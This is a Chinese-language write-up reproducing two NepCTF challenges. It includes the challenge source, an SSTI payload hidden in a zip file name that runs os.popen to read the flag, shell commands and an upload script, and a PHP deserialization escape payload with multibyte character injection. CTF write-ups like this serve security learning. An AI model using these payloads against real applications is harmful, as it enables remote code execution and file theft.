NepCTF复现

  1. NepDouble
  2. PHP_MASTER!!

参考文章

NepDouble

app.py

from flask import Flask, render_template, make_response,request
from bot import *
from urllib.parse import urlparse

app = Flask(__name__, static_folder='static')

@app.after_request
def add_security_headers(resp):
    resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
    return resp


@app.route('/')
def index():
    return render_template('index.html')

@app.route("/report", methods=["POST"])
def report():
    bot = Bot()
    url = request.form.get('url')
    if url:
        try:
            parsed_url = urlparse(url)
        except Exception:
            return {"error": "Invalid URL."}, 400
        if parsed_url.scheme not in ["http", "https"]:
            return {"error": "Invalid scheme."}, 400
        if parsed_url.hostname not in ["127.0.0.1", "localhost"]:
            return {"error": "Invalid host."}, 401
        
        bot.visit(url)
        bot.close()
        return {"visited":url}, 200
    else:
        return {"error":"URL parameter is missing!"}, 400

@app.errorhandler(404)
def page_not_found(error):
    path = request.path
    return f"{path} not found"



if __name__ == '__main__':
    app.run(debug=True)

bot.py

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time 

class Bot:
    def __init__(self):
        chrome_options = Options()
        chrome_options.add_argument("--headless")  
        chrome_options.add_argument("--disable-gpu")
        chrome_options.add_argument("--no-sandbox") 
        chrome_options.add_argument("--disable-dev-shm-usage")
        chrome_options.add_argument("--disable-extensions") 
        chrome_options.add_argument("--window-size=1920x1080") 
        
        self.driver = webdriver.Chrome(options=chrome_options)

    def visit(self, url):
        self.driver.get("http://127.0.0.1:5000/")
        
        self.driver.add_cookie({
            "name": "flag", 
            "value": "SEKAI{dummy}", 
            "httponly": False  
        }) 
        
        self.driver.get(url)
        time.sleep(1)
        self.driver.refresh()
        print(f"Visited {url}")

    def close(self):
        self.driver.quit()

考点:SSTI

在文件名处SSTI

这题在进行生成文件名并进行压缩文件包操作的时候必须使用linux的vim和zip命令,我也不知道为什么,反正win是不可以的……

先写一个将字符转义的脚本

def escape_string(s):
    # 定义要转义的字符
    replacements = {
        '{': r'\{',
        '}': r'\}',
        '[': r'\[',
        ']': r'\]',
        '(': r'\(',
        ')': r'\)',
        "'": r"\'",
        '"': r'\"',
    }
 
    # 替换字符串中的特殊字符
    for char, replacement in replacements.items():
        s = s.replace(char, replacement)
 
    return s
 
 
# 原始字符串
original_string = """{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('\\\\143'+'\\\\141'+'\\\\164'+'\\\\40'+'\\\\57'+'\\\\146'+'\\\\52').read()")}}"""
 
# 转义字符串
escaped_string = escape_string(original_string)
 
print(escaped_string)

生成拥有恶意文件名的文件

vim \{\{x.__init__.__globals__\[\'__builtins__\'\]\[\'eval\'\]\(\"__import__\(\'os\'\).popen\(\'\\143\'+\'\\141\'+\'\\164\'+\'\\40\'+\'\\57\'+\'\\146\'+\'\\52\'\).read\(\)\"\)\}\}

具体操作

这是vim编辑器进行保存的操作,这样才可以成功生成文件,我之前不知道 太弱智了

压缩成ZIP

zip 1.zip \{\{x.__init__.__globals__\[\'__builtins__\'\]\[\'eval\'\]\(\"__import__\(\'os\'\).popen\(\'\\143\'+\'\\141\'+\'\\164\'+\'\\40\'+\'\\57\'+\'\\146\'+\'\\52\'\).read\(\)\"\)\}\}

然后再写个upload脚本即可

import requests

# 定义服务器的URL
url = "https://neptune-46465.nepctf.lemonprefect.cn/"  # 替换为你的 Flask 服务器地址

# 定义要上传的文件路径
file_path = "1.zip"  # 替换为你要上传的 ZIP 文件路径

# 打开文件,以便于上传
with open(file_path, 'rb') as file:
    # 构建请求的文件部分
    files = {'tp_file': file}

    # 发送 POST 请求,上传文件
    response = requests.post(url, files=files)

    # 输出服务器响应
    print("Status Code:", response.status_code)
    print("Response Text:", response.text)

上传带有恶意命令的文件就可以成功读取flag

PHP_MASTER!!

//题目源码

<?php
highlight_file( __FILE__);
error_reporting(0);

function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A{
    public $key;
    public function readflag(){
        if($this->key=== "\0key\0"){
            $a = $_POST[1];
            $contents = file_get_contents($a);
            file_put_contents($a, $contents);

        }
    }
}


class B
{

    public $b;
    public function __tostring()
    {
        if(preg_match("/\[|\]/i", $_GET['nep'])){
            die("NONONO!!!");
        }
        $str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
        echo $str;
        if ($str==='NepCTF]'){
            return ($this->b) ();
        }

    }
}
class C
{

    public $s;

    public $str;

    public function __construct($s)
    {
        $this->s = $s;
    }

    public function __destruct()
    {


        echo $this ->str;
    }
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);

PHP反序列化键值逃逸+mb_strposmb_substr连用导致的字符注入,真不懂,我只是个复现的(bushi,得好好补补反序列化了,真的硬伤。

payload:

c=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00";s:3:"str";O:1:"B":1:{s:1:"b";s:7:"phpinfo";}}&nep1=%f0123%f0123%f0123%9f%9f%f0123&nep=Nep